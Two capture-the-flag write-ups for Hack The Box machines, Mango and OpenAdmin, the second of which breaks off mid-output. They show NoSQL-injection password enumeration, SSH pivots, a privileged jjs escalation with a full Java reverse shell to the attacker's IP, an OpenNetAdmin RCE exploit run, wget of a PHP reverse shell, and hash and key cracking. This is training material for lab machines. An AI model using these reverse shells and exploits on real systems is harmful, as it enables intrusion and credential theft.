CTF – HTB – Mango

Hey everyone and welcome to another write up for a HTB challenge!

We start with the usual nmap scan and reveal port 22, 80 and 443. We then add staging-order.mango.htb to /etc/hosts.

root@kali:~/Desktop/htb/Mango# nmap -sC -sV mango.htb -o TCP_scan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 16:45 EDT
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.60 seconds

On port 80 we have a website called mango that is a copy-cat of a google webpage. The analytics.php link reveals a client-service called flexmonster that is used to display charts and graphics. We explore it a bit but since it is only a client-side service so we don’t need to investigate further. We have the same pages on port 443.

Since we know we already have one subdomain we try to list other existing subdomains with wfuzz by changing the header Host value to any subdomain (fuzzing host virtual routing). We do not find any other subdomain.

root@kali:~/Desktop/htb/Mango# wfuzz -H "Host: FUZZ.mango.htb" -u "https://10.10.10.162" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
--hw 514
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.162/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                      
===================================================================

000000690:   400        12 L     53 W     443 Ch      "gc._msdcs"                                                                                  

Total time: 58.40617
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 85.55602

The subdomain staging-order.mango.htb gives us a login page. Bruteforcing directory and php files listing we find /home.php as well as a folder called /vendor. By accessing /vendor/composer/installed.json we can view the installed packages on the backend.

[
    {
        "name": "alcaeus/mongo-php-adapter",
        "version": "1.1.9",
        "version_normalized": "1.1.9.0",
        "source": {
            "type": "git",
            "url": "https://github.com/alcaeus/mongo-php-adapter.git",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/alcaeus/mongo-php-adapter/zipball/93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "shasum": ""
        },
        "require": {
            "ext-ctype": "*",
            "ext-hash": "*",
            "ext-mongodb": "^1.2.0",
            "mongodb/mongodb": "^1.0.1",
            "php": "^5.6 || ^7.0"
        },
        "provide": {
            "ext-mongo": "1.6.14"
        },
        "require-dev": {
            "phpunit/phpunit": "^5.7.27 || ^6.0 || ^7.0",
            "squizlabs/php_codesniffer": "^3.2"
        },
        "time": "2019-08-07T05:52:28+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-0": {
                "Mongo": "lib/Mongo"
            },
            "psr-4": {
                "Alcaeus\\MongoDbAdapter\\": "lib/Alcaeus/MongoDbAdapter"
            },
            "files": [
                "lib/Mongo/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "alcaeus",
                "email": "alcaeus@alcaeus.org"
            },
            {
                "name": "Olivier Lechevalier",
                "email": "olivier.lechevalier@gmail.com"
            }
        ],
        "description": "Adapter to provide ext-mongo interface on top of mongo-php-libary",
        "keywords": [
            "database",
            "mongodb"
        ]
    },
    {
        "name": "mongodb/mongodb",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0",
        "source": {
            "type": "git",
            "url": "https://github.com/mongodb/mongo-php-library.git",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/mongodb/mongo-php-library/zipball/5cffeb33b893b6bb04195b99ddc3955a29252339",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "shasum": ""
        },
        "require": {
            "ext-hash": "*",
            "ext-json": "*",
            "ext-mongodb": "^1.3.0",
            "php": ">=5.5"
        },
        "require-dev": {
            "phpunit/phpunit": "^4.8"
        },
        "time": "2017-10-27T19:42:57+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "MongoDB\\": "src/"
            },
            "files": [
                "src/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "Apache-2.0"
        ],
        "authors": [
            {
                "name": "Jeremy Mikola",
                "email": "jmikola@gmail.com"
            },
            {
                "name": "Hannes Magnusson",
                "email": "bjori@mongodb.com"
            },
            {
                "name": "Derick Rethans",
                "email": "github@derickrethans.nl"
            }
        ],
        "description": "MongoDB driver library",
        "homepage": "https://jira.mongodb.org/browse/PHPLIB",
        "keywords": [
            "database",
            "driver",
            "mongodb",
            "persistence"
        ]
    }
]

Now that we know we have MongoDB running in the background, we can try a noSQL injection, since it is our only possible attack vector left. Using burp repeater we find that we can extract DB information by pointing our POST request to /home.php.

We then proceed to enumerate users and passwords with a blind noSQL injections, luckily there is a script already available online to run these with our selected parameters.

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "username"                                                                                                   
No pattern starts with '0'                                                                                                                                    
No pattern starts with '1'
No pattern starts with '2'
No pattern starts with '3'
No pattern starts with '4'
No pattern starts with '5'
No pattern starts with '6'
No pattern starts with '7'
No pattern starts with '8'
No pattern starts with '9'
Pattern found that starts with 'a'
Pattern found: ad         
Pattern found: adm        
Pattern found: admi       
Pattern found: admin      
username found: admin            
No pattern starts with 'b'
No pattern starts with 'c'

[...snip...]

No pattern starts with 'j'                                                                                                                                    
No pattern starts with 'k'                                                                                                                                    
No pattern starts with 'l'                                                                                                                                    
Pattern found that starts with 'm'                                                                                                                            
Pattern found: ma         
Pattern found: man        
Pattern found: mang       
Pattern found: mango      
username found: mango     
No pattern starts with 'n'
No pattern starts with 'o'
No pattern starts with 'p'
No pattern starts with 'q'
No pattern starts with 'r'     

[...snip...]

o pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '
'
'o pattern starts with '
No pattern starts with '
                        '
No pattern starts with '
                        '

2 username(s) found:
admin
mango

We do the same for the password parameter :

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "password"                    
No pattern starts with '0'
No pattern starts with '1' 

[...snip...]

o pattern starts with 'e'
No pattern starts with 'f'
No pattern starts with 'g'
Pattern found that starts with 'h'
Pattern found: h3                      
Pattern found: h3m                                                                                                                                            
Pattern found: h3mX
Pattern found: h3mXK
Pattern found: h3mXK8
Pattern found: h3mXK8R
Pattern found: h3mXK8Rh
Pattern found: h3mXK8RhU
Pattern found: h3mXK8RhU~
Pattern found: h3mXK8RhU~f
Pattern found: h3mXK8RhU~f{
Pattern found: h3mXK8RhU~f{]
Pattern found: h3mXK8RhU~f{]f
Pattern found: h3mXK8RhU~f{]f5
Pattern found: h3mXK8RhU~f{]f5H
password found: h3mXK8RhU~f{]f5H
No pattern starts with 'i'
No pattern starts with 'j'
No pattern starts with 'k'

[...snip...]

o pattern starts with 'r'
No pattern starts with 's'
Pattern found that starts with 't'
Pattern found: t9
Pattern found: t9K
Pattern found: t9Kc
Pattern found: t9KcS
Pattern found: t9KcS3
Pattern found: t9KcS3>
Pattern found: t9KcS3>!
Pattern found: t9KcS3>!0
Pattern found: t9KcS3>!0B
Pattern found: t9KcS3>!0B#
Pattern found: t9KcS3>!0B#2
password found: t9KcS3>!0B#2
No pattern starts with 'u'
No pattern starts with 'v'

[...snip...]

No pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '  
'                         
'o pattern starts with '  
No pattern starts with '   
                        '   
No pattern starts with '  
                        ' 
                                       
2 password(s) found:      
h3mXK8RhU~f{]f5H          
t9KcS3>!0B#2

We now have 2 users and 2 passwords. We successfully connect with ssh in mango user using the first password.

root@kali:~/Desktop/htb/Mango# ssh mango@mango.htb
mango@mango.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr  9 06:17:58 UTC 2020

  System load:  0.03               Processes:            141
  Usage of /:   25.8% of 19.56GB   Users logged in:      0
  Memory usage: 14%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr  9 05:50:13 2020 from 10.10.16.146
mango@mango:~$

We quickly pivot to admin user with the sucommand and the second password.

mango@mango:~$ su admin
Password: 
$ bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/mango$ cd /home/admin
admin@mango:/home/admin$ cat user.txt 
79bf31c6c6eb38a8567832f7f8b47e92
admin@mango:/home/admin$

Now that we have the main user of this box we upload and run LinEnum.sh into the box so we can have a quick report on possible privilege escalation vectors, and we find an SUID binary!

[...snip...]

[+] Possibly interesting SUID files:                                                                                                                          
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs 

[...snip...]

According to Oracle Help Center :

The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.

Also we find this binary in gtfobins :

It can be used to break out from restricted environments by spawning an interactive system shell.

Since we can spawn a shell and it has a sticky bit, we can abuse it to obtain a shell with root privileges.

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

We manage to spawn a shell, however it hangs, we can’t type anything in the console, it seems that the process is created but our connection is tied with jjs tty, we can’t run any command. Also we have $ instead of # in our command prompt, meaning we didn’t get a root shell.

Instead we create a reverse shell, luckily we have netcat on the victims box as well as gcc if needed (recompile nc with -e flag). Also, we can’t run sudo as admin. So there’s no way here to augment our privileges by piping our Java commands into sudo jjs.

echo 'var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs

We were able to obtain a shell but we are still admin user. The solution here is simply to use the -p flag with /bin/sh so we can start the shell with the privileged user we wanted, it only works if we have that sticky bit for user or group set. According to the manual of sh :

-p privileged
Turn on privileged mode. This mode is enabled on startup if either the effective user or group ID is not equal to the real user or group ID. Turning this mode off sets the effective user and group IDs to the real user and group IDs. When this mode is enabled for interactive shells, the file / etc / suid_profile is sourced instead of ~ / .profile after / etc / profile is sourced, and the contents of the ENV variable are ignored.

We modify the Java code accordingly and run on the victim’s machine :

var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/sh", "-pc", "/bin/sh -p").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

On our attacker machine :

root@kali:~/Desktop/htb/Mango# nc -lvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.162.
Ncat: Connection from 10.10.10.162:47122.
id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
cat /root/root.txt
8a8ef79a7a2fbb01ea81688424e9ab15
exit

As you can see, we are still admin user, however, our euid (Effective User ID) is that of root!

To summarize, we find a login page in a subdomain that is vulnerable to a noSQL injection. We use this to exfiltrate users and passwords from the DB. Luckily, the passwords where re-used in the machine so we could login as mango user using ssh with the first password and pivot to admin user with the second password. We then find an SUID binary (jjs) that we successfully exploit to obtain euid=0(root) in the victims machine.

Thanks for reading!

CTF – HTB – OpenAdmin

Today we solve the OpenAdmin box on hackthebox.eu.

First we start with a basic nmap scan :

# Nmap 7.80 scan initiated Mon Jan 13 18:22:36 2020 as: nmap -sC -sV -o TCP_scan 10.10.10.171
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.097s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 13 18:23:07 2020 -- 1 IP address (1 host up) scanned in 31.21 seconds

Port 80 gives us the default Apache page, we proceed to scan directories with dirbuster :

root@kali:~/Desktop/htb/OpenAdmin# cat DirBusterReport-10.10.10.171-80.txt                                                                                    
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Mon Jan 13 18:20:13 EST 2020
--------------------------------

http://10.10.10.171:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/music/
/music/img/
/music/img/icons/
/ona/
/music/img/concept/
/music/img/premium/
/music/js/
/music/img/playlist/
/music/img/blog/
/music/img/songs/
/artwork/
/artwork/images/
/artwork/js/
/sierra/
/sierra/img/
/sierra/img/home-slider/
/sierra/img/icon/
/sierra/img/team/
/sierra/img/team/people/
/sierra/img/testimonials/
/sierra/img/instagram/
/sierra/img/portfolio/
/sierra/js/

[...snip...]


/sierra/js/smoothscroll.js
/sierra/js/theme.js
/sierra/vendors/circle-bar/circle-progress.min.js
/sierra/js/circle-active.js
/sierra/vendors/circle-bar/plugins.js
/sierra/vendors/isotope/imagesloaded.pkgd.min.js
/sierra/js/gmaps.min.js
/sierra/vendors/isotope/isotope.pkgd.min.js
/sierra/js/jquery.form.js
/sierra/js/jquery.validate.min.js
/sierra/js/contact.js
/sierra/vendors/owl-carousel/owl.carousel.min.css
/sierra/vendors/magnify-popup/magnific-popup.css
/sierra/vendors/progress/circle-progress.js
/sierra/vendors/progress/circularprogress.css
/sierra/vendors/progress/circularprogress.jquery.min.js

Files found with a 301 responce:

/ona


--------------------------------

Of all the directories /ona looks the most interesting… It is running the OpenNetAdmin software version 18.1.1, which a quick search with searchploit reveals that is vulnerable with to RCE.

root@kali:~/Desktop/htb/OpenAdmin# searchsploit OpenNetAdmin
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                       |  Path
                                                                                                                     | (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                        | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                         | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                          | exploits/php/webapps/47691.sh
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

We copy the file and execute it :

root@kali:~/Desktop/htb/OpenAdmin# cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ./                                                                   
root@kali:~/Desktop/htb/OpenAdmin# chmod +x 47691.sh 
root@kali:~/Desktop/htb/OpenAdmin# dos2unix 47691.sh 
dos2unix: converting file 47691.sh to Unix format...
root@kali:~/Desktop/htb/OpenAdmin# bash 47691.sh 10.10.10.171/ona/
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

dos2unix is a simple binary to convert the text file format to a UNIX format. Then, to have a better shell we upload a php reverse shell, we run a simple HTTP server with python then we use wget on the victim’s machine to get it :

wget -O rev.php http://10.10.15.100:9999/rev.php

We open a listener on our end and use curl to execute the php reverse shell :

root@kali:~/Desktop/htb/OpenAdmin# nc -lvp 9898                                                                                                               
listening on [any] 9898 ...                                                                                                                                   
connect to [10.10.15.100] from openadmin.htb [10.10.10.171] 58886                                                                                             
Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux                                                  
 00:16:10 up 15 min,  5 users,  load average: 5.25, 4.17, 2.16                                                                                                
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT                                                                                           
joanna   pts/1    10.10.15.100     00:02    5:57   0.06s  0.00s sshd: joanna [priv]                                                                           
jimmy    pts/3    10.10.14.99      00:03    8:49   0.03s  0.03s -bash                                                                                         
joanna   pts/5    10.10.16.47      00:08   57.00s  0.07s  0.07s -bash                                                                                         
jimmy    pts/6    10.10.15.100     00:08    4:50   0.04s  0.04s -bash                                                                                         
jimmy    pts/7    10.10.15.44      00:09   34.00s  0.05s  0.05s -bash                                                                                         
uid=33(www-data) gid=33(www-data) groups=33(www-data)                                                                                                         
/bin/sh: 0: can't access tty; job control turned off                                                                                                          
$                                                                                                                                                             
                                                                                                                                                              
$ $ python3 -c "import pty;pty.spawn('/bin/bash');"                                                                                                           
www-data@openadmin:/$

We then explore the /ona directory and find mysql credentials, which we use to login with user jimmy by ssh :

www-data@openadmin:/var/www/ona/local/config$ ls -la                                                                                                          
ls -la                                                                                                                                                        
total 16                                                                                                                                                      
drwxrwxr-x 2 www-data www-data 4096 Nov 21 16:51 .                                                                                                            
drwxrwxr-x 5 www-data www-data 4096 Jan  3  2018 ..                                                                                                           
-rw-r--r-- 1 www-data www-data  426 Nov 21 16:51 database_settings.inc.php                                                                                    
-rw-rw-r-- 1 www-data www-data 1201 Jan  3  2018 motd.txt.example                                                                                             
-rw-r--r-- 1 www-data www-data    0 Nov 21 16:28 run_installer                                                                                                
www-data@openadmin:/var/www/ona/local/config$
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>
root@kali:~/Desktop/htb/OpenAdmin# ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan 28 00:51:40 UTC 2020

  System load:  0.25              Processes:             421
  Usage of /:   49.4% of 7.81GB   Users logged in:       1
  Memory usage: 33%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan 28 00:48:30 2020 from 10.10.14.167
jimmy@openadmin:~$

Still going straightforward, we visit /var/www/internal/ folder, which is under the ownership of jimmy user, that we have now accessed. The folder contain 3 php files : index.php which simply contains a form that sends a POST request and verify if the username is ‘jimmy’ and the password is some sha-512 hashed password, then redirects to main.php when the credentials are good. main.php simply echo’s the id_rsa of the user joanna on the box which we will have to pivot to.

index.php

[...snip...]
      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> 
[...snip...]

main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

We start by cracking the sha-512 hash :

root@kali:~/Desktop/htb/OpenAdmin# cat hash                                                                                                                   
jimmy:00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1                        
root@kali:~/Desktop/htb/OpenAdmin# john --format=raw-sha512 --wordlist=/usr/share/wordlists/rockyou.txt hash
[...snip...]
sing default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 25.63% (ETA: 20:01:49) 0g/s 1751Kp/s 1751Kc/s 1751KC/s shafous..shadowfreee
[...snip...]
root@kali:~/Desktop/htb/OpenAdmin# john --show hash
jimmy:Revealed

We can then send a POST request with the correct data to our page. However it is not hosted in the main directory… A lookup of listening port shows us that port 52846 is open so we send our request there :

jimmy@openadmin:/var/www/internal$ netstat -ano                                                                                                               
Active Internet connections (servers and established)                                                                                                         
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer                                                                         
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)                                                                
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)   
[...snip...]
jimmy@openadmin:/var/www/internal$ curl -d "username=jimmy&password=Revealed" -X POST http://localhost:52846/main.php                                         
<pre>-----BEGIN RSA PRIVATE KEY-----                                                                                                                          
Proc-Type: 4,ENCRYPTED                                                                                                                                        
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D                                                                                                        
                                                                                                                                                              
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8                                                                                              
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO                                                                                              
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE                                                                                              
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$

The next step is to crack this ssh key and to get is passphrase, then we can login as joanna user :

root@kali:~/Desktop/htb/OpenAdmin# python ssh2john.py id_rsa
id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b